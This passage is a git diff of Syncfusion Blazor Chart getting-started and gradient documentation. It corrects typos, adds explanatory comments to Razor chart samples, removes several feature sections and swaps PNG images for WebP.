-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBJjihozcpDsXHf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Title](images/getting-started/blazor-chart-title.png)" %}
+To bind data for the chart component, you can assign an IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
 
-## Add data label
-
-You can add data labels to improve the readability of the chart. This can be achieved by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabel.html#Syncfusion_Blazor_Charts_ChartDataLabel_Visible) property to **true** in the [ChartDataLabel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabel.html).
+Map the data fields `Month` and `SalesValue` to the series [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_YName) properties, then set the data to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property, and the [chart type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Type) to **Column** because we will be viewing the data in a column chart.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-            <ChartMarker>
-                <ChartDataLabel Visible="true"></ChartDataLabel>
-            </ChartMarker>
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVpjMhIzmJRkHwA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with DataLabel](images/getting-started/blazor-chart-data-label.png)" %}
-
-## Enable tooltip
-
-When space constraints prevent you from displaying information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipSettings.html#Syncfusion_Blazor_Charts_ChartTooltipSettings_Enable) property in [ChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipSettings.html) to **true**.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartTooltipSettings Enable="true"></ChartTooltipSettings>
+<SfChart>
+    <!-- ChartPrimaryXAxis configures the X-axis properties such as value type and labels -->
+    <ChartPrimaryXAxis ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
+    <!-- ChartSeriesCollection contains one or more data series to be plotted on the chart -->
     <ChartSeriesCollection>
+        <!-- ChartSeries defines a data series with its data source and axis mappings -->
         <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
         </ChartSeries>
     </ChartSeriesCollection>
 </SfChart>
 
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVTNChepGIwhetf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Tooltip](images/getting-started/blazor-chart-tooltip.png)" %}
-
-## Enable legend
-
-You can use legend for the chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendSettings.html#Syncfusion_Blazor_Charts_ChartLegendSettings_Visible) property to **true** in [ChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendSettings.html). The legend name can be changed by using the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Name) property in the series.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartLegendSettings Visible="true"></ChartLegendSettings>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" Name="Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
+@code {
+    public class SalesInfo
+    {
+        public string Month { get; set;}
+        public double SalesValue { get; set;}
+    }
+
+    public List<SalesInfo> Sales = new List<SalesInfo>
+    {
+        new SalesInfo { Month = "Jan", SalesValue = 35 },
+        new SalesInfo { Month = "Feb", SalesValue = 28 },
+        new SalesInfo { Month = "Mar", SalesValue = 34 },
+        new SalesInfo { Month = "Apr", SalesValue = 32 },
+        new SalesInfo { Month = "May", SalesValue = 40 },
+        new SalesInfo { Month = "Jun", SalesValue = 32 },
+        new SalesInfo { Month = "Jul", SalesValue = 35 }
+    };
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrTDCLIpQHyGNEq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Legend](images/getting-started/blazor-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBTNiLezckHqsGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart](images/getting-started/blazor-chart-column.png)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Chart).
 
@@ -303,4 +245,3 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Assembly App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-
diff --git a/blazor/chart/getting-started.md b/blazor/chart/getting-started.md
index 7cdd4e9a0b..97dc1dac32 100644
--- a/blazor/chart/getting-started.md
+++ b/blazor/chart/getting-started.md
@@ -1,6 +1,6 @@
 ---
 layout: post
-title: Getting Stared | Blazor Chart Component | Syncfusion
+title: Getting Started | Blazor Chart Component | Syncfusion
 description: Checkout and learn about getting started with Blazor Charts component in Blazor Server App using Visual Studio and more.
 platform: Blazor
 control: Chart
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Chart Component in Blazor Server App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -89,7 +89,7 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following command in the Package Manager Console to achieve the same.
 
@@ -107,6 +107,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
 
@@ -118,7 +120,7 @@ After the package is installed, open the **~/_Imports.razor** file and import th
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -134,7 +136,7 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include script reference in the **App.razor** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
@@ -146,14 +148,14 @@ N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documen
 
 ## Add Blazor Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file as shown below.
 
 N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveServer
 
 {% endhighlight %}
@@ -162,6 +164,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfChart is the root container component for the chart -->
 <SfChart>
 
 </SfChart>
@@ -171,43 +174,23 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart Component](images/getting-started/blazor-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart Component](images/getting-started/blazor-chart.webp)" %}
 
 ## Populate Blazor chart with data
 
-To bind data for the chart component, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-public class SalesInfo
-{
-    public string Month { get; set; }
-    public double SalesValue { get; set; }
-}
-
-public List<SalesInfo> Sales = new List<SalesInfo>
-{
-    new SalesInfo { Month = "Jan", SalesValue = 35 },
-    new SalesInfo { Month = "Feb", SalesValue = 28 },
-    new SalesInfo { Month = "Mar", SalesValue = 34 },
-    new SalesInfo { Month = "Apr", SalesValue = 32 },
-    new SalesInfo { Month = "May", SalesValue = 40 },
-    new SalesInfo { Month = "Jun", SalesValue = 32 },
-    new SalesInfo { Month = "Jul", SalesValue = 35 }
-};
-
-{% endhighlight %}
-{% endtabs %}
+To bind data for the chart component, you can assign an IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
 
-Now, map the data fields  `Month` and `Sales` to the series [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_YName) properties, then set the data to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property, and the [chart type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Type) to **Column** because we will be viewing the data in a column chart.
+Map the data fields `Month` and `SalesValue` to the series [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_YName) properties, then set the data to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property, and the [chart type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Type) to **Column** because we will be viewing the data in a column chart.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
 <SfChart>
+    <!-- ChartPrimaryXAxis configures the X-axis properties such as value type and labels -->
     <ChartPrimaryXAxis ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
+    <!-- ChartSeriesCollection contains one or more data series to be plotted on the chart -->
     <ChartSeriesCollection>
+        <!-- ChartSeries defines a data series with its data source and axis mappings -->
         <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
         </ChartSeries>
     </ChartSeriesCollection>
@@ -235,96 +218,7 @@ Now, map the data fields  `Month` and `Sales` to the series [XName](https://help
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBTNiLezckHqsGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart](images/getting-started/blazor-chart-column.png)" %}
-
-## Add titles
-
-Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfChart.html#Syncfusion_Blazor_Charts_SfChart_Title) property, you can add a title to the chart and the axes to provide the user with quick information about the data plotted in the chart.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBJjihozcpDsXHf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Title](images/getting-started/blazor-chart-title.png)" %}
-
-## Add data label
-
-You can add data labels to improve the readability of the chart. This can be achieved by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabel.html#Syncfusion_Blazor_Charts_ChartDataLabel_Visible) property to **true** in the [ChartDataLabel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabel.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-            <ChartMarker>
-                <ChartDataLabel Visible="true"></ChartDataLabel>
-            </ChartMarker>
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVpjMhIzmJRkHwA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with DataLabel](images/getting-started/blazor-chart-data-label.png)" %}
-
-## Enable tooltip
-
-When space constraints prevent you from displaying information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipSettings.html#Syncfusion_Blazor_Charts_ChartTooltipSettings_Enable) property in [ChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipSettings.html) to **true**.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartTooltipSettings Enable="true"></ChartTooltipSettings>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVTNChepGIwhetf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Tooltip](images/getting-started/blazor-chart-tooltip.png)" %}
-
-## Enable legend
-
-You can use legend for the chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendSettings.html#Syncfusion_Blazor_Charts_ChartLegendSettings_Visible) property to **true** in [ChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendSettings.html). The legend name can be changed by using the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Name) property in the series.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartLegendSettings Visible="true"></ChartLegendSettings>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" Name="Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrTDCLIpQHyGNEq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Legend](images/getting-started/blazor-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBTNiLezckHqsGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart](images/getting-started/blazor-chart-column.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Chart).
 
diff --git a/blazor/chart/gradient.md b/blazor/chart/gradient.md
index 1f2603846d..2224f8dc12 100644
--- a/blazor/chart/gradient.md
+++ b/blazor/chart/gradient.md
@@ -93,7 +93,7 @@ Apply a linear gradient to a series by adding [ChartLinearGradient](https://help
 }
 
 ```
-![Blazor Column Chart with Linear Gradient](images/gradient/blazor-column-chart-linear-gradient.png)
+![Blazor Column Chart with Linear Gradient](images/gradient/blazor-column-chart-linear-gradient.webp)
 
 ### Trendlines
 
@@ -158,7 +158,7 @@ Apply a linear gradient to a trendline by adding [ChartLinearGradient](https://h
 }
 
 ```
-![Trendlines in Blazor Spline Chart with Linear Gradient](images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.png)
+![Trendlines in Blazor Spline Chart with Linear Gradient](images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.webp)
 
 ### Technical Indicators
 
@@ -227,7 +227,7 @@ Apply a linear gradient to a technical indicator by adding [ChartLinearGradient]
 }
 
 ```
-![Exponential Moving Average in Blazor Candle Chart with Linear Gradient](images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.png)
+![Exponential Moving Average in Blazor Candle Chart with Linear Gradient](images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.webp)
 
 ## Radial gradient
 
@@ -303,7 +303,7 @@ Apply a radial gradient to a series by adding [ChartRadialGradient](https://help
 }
 
 ```
-![Blazor Column Chart with Radial Gradient](images/gradient/blazor-column-chart-radial-gradient.png)
+![Blazor Column Chart with Radial Gradient](images/gradient/blazor-column-chart-radial-gradient.webp)
 
 N> Radial gradients can also be applied to Trendlines and Technical Indicators in the same way by placing a [ChartRadialGradient](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartRadialGradient.html) with color stops inside the target `ChartTrendline` or `ChartIndicator`.
 
diff --git a/blazor/chart/images/Blazor-server-app-creation.png b/blazor/chart/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/chart/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/chart/images/Blazor-server-app-creation.webp b/blazor/chart/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/chart/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/chart/images/adaptive-layout/blazor-chart-adaptive-layout.png b/blazor/chart/images/adaptive-layout/blazor-chart-adaptive-layout.png
deleted file mode 100644
index 98ec2230ec..0000000000
Binary files a/blazor/chart/images/adaptive-layout/blazor-chart-adaptive-layout.png and /dev/null differ
diff --git a/blazor/chart/images/adaptive-layout/blazor-chart-adaptive-layout.webp b/blazor/chart/images/adaptive-layout/blazor-chart-adaptive-layout.webp
new file mode 100644
index 0000000000..c65f733372
Binary files /dev/null and b/blazor/chart/images/adaptive-layout/blazor-chart-adaptive-layout.webp differ
diff --git a/blazor/chart/images/annotation/axis-sub-razor.png b/blazor/chart/images/annotation/axis-sub-razor.png
deleted file mode 100644
index abde12ebb4..0000000000
Binary files a/blazor/chart/images/annotation/axis-sub-razor.png and /dev/null differ
diff --git a/blazor/chart/images/annotation/axis-sub-razor.webp b/blazor/chart/images/annotation/axis-sub-razor.webp
new file mode 100644
index 0000000000..f472574645
Binary files /dev/null and b/blazor/chart/images/annotation/axis-sub-razor.webp differ
diff --git a/blazor/chart/images/annotation/blazor-column-chart-annotation-using-region.png b/blazor/chart/images/annotation/blazor-column-chart-annotation-using-region.png
deleted file mode 100644
index c01ba6a908..0000000000
Binary files a/blazor/chart/images/annotation/blazor-column-chart-annotation-using-region.png and /dev/null differ
diff --git a/blazor/chart/images/annotation/blazor-column-chart-annotation-using-region.webp b/blazor/chart/images/annotation/blazor-column-chart-annotation-using-region.webp
new file mode 100644
index 0000000000..229327cd2b
Binary files /dev/null and b/blazor/chart/images/annotation/blazor-column-chart-annotation-using-region.webp differ
diff --git a/blazor/chart/images/annotation/blazor-column-chart-annotation.png b/blazor/chart/images/annotation/blazor-column-chart-annotation.png
deleted file mode 100644
index 998a795373..0000000000
Binary files a/blazor/chart/images/annotation/blazor-column-chart-annotation.png and /dev/null differ
diff --git a/blazor/chart/images/annotation/blazor-column-chart-annotation.webp b/blazor/chart/images/annotation/blazor-column-chart-annotation.webp
new file mode 100644
index 0000000000..1ef854e2d8
Binary files /dev/null and b/blazor/chart/images/annotation/blazor-column-chart-annotation.webp differ
diff --git a/blazor/chart/images/annotation/blazor-column-chart-coordinate-annotation.png b/blazor/chart/images/annotation/blazor-column-chart-coordinate-annotation.png
deleted file mode 100644
index 495feefa91..0000000000
Binary files a/blazor/chart/images/annotation/blazor-column-chart-coordinate-annotation.png and /dev/null differ
diff --git a/blazor/chart/images/annotation/blazor-column-chart-coordinate-annotation.webp b/blazor/chart/images/annotation/blazor-column-chart-coordinate-annotation.webp
new file mode 100644
index 0000000000..cc7e0dbf5b
Binary files /dev/null and b/blazor/chart/images/annotation/blazor-column-chart-coordinate-annotation.webp differ
diff --git a/blazor/chart/images/appearance/blazor-area-chart-custom-background-and-border.png b/blazor/chart/images/appearance/blazor-area-chart-custom-background-and-border.png
deleted file mode 100644
index 1d64ce7fdf..0000000000
Binary files a/blazor/chart/images/appearance/blazor-area-chart-custom-background-and-border.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-area-chart-custom-background-and-border.webp b/blazor/chart/images/appearance/blazor-area-chart-custom-background-and-border.webp
new file mode 100644
index 0000000000..7bd073a980
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-area-chart-custom-background-and-border.webp differ
diff --git a/blazor/chart/images/appearance/blazor-chart-title-position-custom.png b/blazor/chart/images/appearance/blazor-chart-title-position-custom.png
deleted file mode 100644
index 865077a9ca..0000000000
Binary files a/blazor/chart/images/appearance/blazor-chart-title-position-custom.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-chart-title-position-custom.webp b/blazor/chart/images/appearance/blazor-chart-title-position-custom.webp
new file mode 100644
index 0000000000..c597b741d6
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-chart-title-position-custom.webp differ
diff --git a/blazor/chart/images/appearance/blazor-chart-title-position.png b/blazor/chart/images/appearance/blazor-chart-title-position.png
deleted file mode 100644
index d3d65f1595..0000000000
Binary files a/blazor/chart/images/appearance/blazor-chart-title-position.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-chart-title-position.webp b/blazor/chart/images/appearance/blazor-chart-title-position.webp
new file mode 100644
index 0000000000..72a299278d
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-chart-title-position.webp differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-custom-background-and-border.png b/blazor/chart/images/appearance/blazor-column-chart-custom-background-and-border.png
deleted file mode 100644
index be0f687c01..0000000000
Binary files a/blazor/chart/images/appearance/blazor-column-chart-custom-background-and-border.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-custom-background-and-border.webp b/blazor/chart/images/appearance/blazor-column-chart-custom-background-and-border.webp
new file mode 100644
index 0000000000..7d7fedaea7
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-column-chart-custom-background-and-border.webp differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-custom-color-palette.png b/blazor/chart/images/appearance/blazor-column-chart-custom-color-palette.png
deleted file mode 100644
index bdef62a7fc..0000000000
Binary files a/blazor/chart/images/appearance/blazor-column-chart-custom-color-palette.png and /dev/null differ
diff --git a/blazor/chart/images/appearance/blazor-column-chart-custom-color-palette.webp b/blazor/chart/images/appearance/blazor-column-chart-custom-color-palette.webp
new file mode 100644
index 0000000000..f51e5ef0a0
Binary files /dev/null and b/blazor/chart/images/appearance/blazor-column-chart-custom-color-palette.webp differ
